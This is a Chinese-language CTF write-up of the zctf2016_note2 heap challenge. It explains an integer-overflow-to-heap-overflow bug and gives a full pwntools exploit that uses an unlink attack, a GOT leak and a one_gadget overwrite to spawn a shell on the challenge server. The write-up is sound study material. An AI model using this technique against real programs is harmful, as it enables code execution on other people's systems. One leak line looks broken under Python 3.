zctf2016_note2
惯例我们先来checksec一下
开启了NX和canary的64位程序
放进ida64里看看(此题去除了符号表 此处的函数名都是笔者自己写的)
去除了符号表 旨在考验我们的代码审计能力 所幸这提示比较规律的菜单题我们可以较为轻松的将函数名给填上去
my_read
漏洞点
:此处当size=0时存在整数溢出
add chunk
show chunk
非常标准的show_chunk 不存在漏洞
在这里插入图片描述
edit chunk
此处存在堆溢出漏洞可以方便我们修改内容
delete chunk
非常标准的free_chunk的过程 不存在uaf漏洞
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FmN5JDwF-1681032025710)(1681024982399.png)]
审题完成,开始解题
由于我们可以利用整数溢出来篡改其他堆的内容因此我们考虑使用unlink操作
首先我们先申请三个chunk
此处我们已经可以在chunk0中部只好我们的fakechunk了
ptr=0x602120
fd=ptr-0x18
bk=ptr-0x10
payload=p64(0x0)+p64(0xa1)+p64(fd)+p64(bk)
add(0x80,payload) #chunk0
add(0x10,'bbbb') #chunk1
add(0x80,'cccc')#chunk2
然后将chuunk1free掉后再次申请chunk1 注意此处我们再次申请的chunk1的大小为0x0 要利用整数溢出漏洞来篡改chunk2的prev size和size位 然后我们再将chunkfree掉 这时我们的chunk0就已经指向ptr了
delete(1)
payload=p64(0)*2+p64(0xa0)+p64(0x90)
add(0,payload)
delete(2)
此时我们修改chunk0上的内容(即修改ptr上的内容)将本应存储chunk0地址上的内容篡改为free_got的地址
payload=b'a'*0x18+p64(free_got)
edit(0,payload)
接下来我们show chunk0 将chunk0上的内容打印出来(即打印free_got上的内容即free_addr)
然后接收free_addr 这样我们就泄露出来libc 由于free函数没有free chunk上的内容因此我们优先考虑使用one_gadget来获取控制权 将chunk0的内容(free_got上的内容)更改为one_gadget的地址
由于edit函数的最后一步是执行free(v7);因此我们不需要额外delete一个chunk即可搭乘夺取控制权的目的
show(0)
io.recvuntil('is ')
print('1')
free_addr = u64(io.recv(6).ljust(8, "\x00"))
#free_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base=free_addr-libc.sym['free']
print(hex(base))
payload=p64(base+one_gadget)
edit(0,payload)
io.interactive()
然后我们就可以得到我们的flag了
exp:
from pwn import *
io=remote('node4.buuoj.cn',26019)
#io=process('./note2')
context.log_level='debug'
elf=ELF('./note2')
libc=ELF('./libc-2.23.so')
one_gadget=0xf02a4
free_got=elf.got['free']
ptr=0x602120
fd=ptr-0x18
bk=ptr-0x10
def add(size,content):
io.recvuntil('--->>')
io.sendline(b'1')
io.recvuntil(':(less than 128)')
io.sendline(str(size))
io.recvuntil('content:')
io.sendline(content)
def show(idx):
io.recvuntil('--->>')
io.sendline(b'2')
io.recvuntil('the note:')
io.sendline(str(idx))
def edit(idx,content):
io.recvuntil('--->>')
io.sendline(b'3')
io.recvuntil('the note:')
io.sendline(str(idx))
io.recvuntil('[1.overwrite/2.append]')
io.sendline(b'1')
io.recvuntil(':')
io.sendline(content)
def delete(idx):
io.recvuntil('--->>')
io.sendline(b'4')
io.recvuntil('the note:')
io.sendline(str(idx))
io.recvuntil('name:')
io.sendline(b'aaaa')
io.recvuntil('address:')
io.sendline(b'aaaa')
payload=p64(0x0)+p64(0xa1)+p64(fd)+p64(bk)
add(0x80,payload) #chunk0
add(0x10,'bbbb') #chunk1
add(0x80,'cccc')#chunk2
delete(1)
payload=p64(0)*2+p64(0xa0)+p64(0x90)
add(0,payload)
delete(2)
#payload=p64(0)+p64(free_got)
payload=b'a'*0x18+p64(free_got)
edit(0,payload)
show(0)
io.recvuntil('is ')
print('1')
free_addr = u64(io.recv(6).ljust(8, "\x00"))
#free_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base=free_addr-libc.sym['free']
print(hex(base))
payload=p64(base+one_gadget)
edit(0,payload)
io.interactive()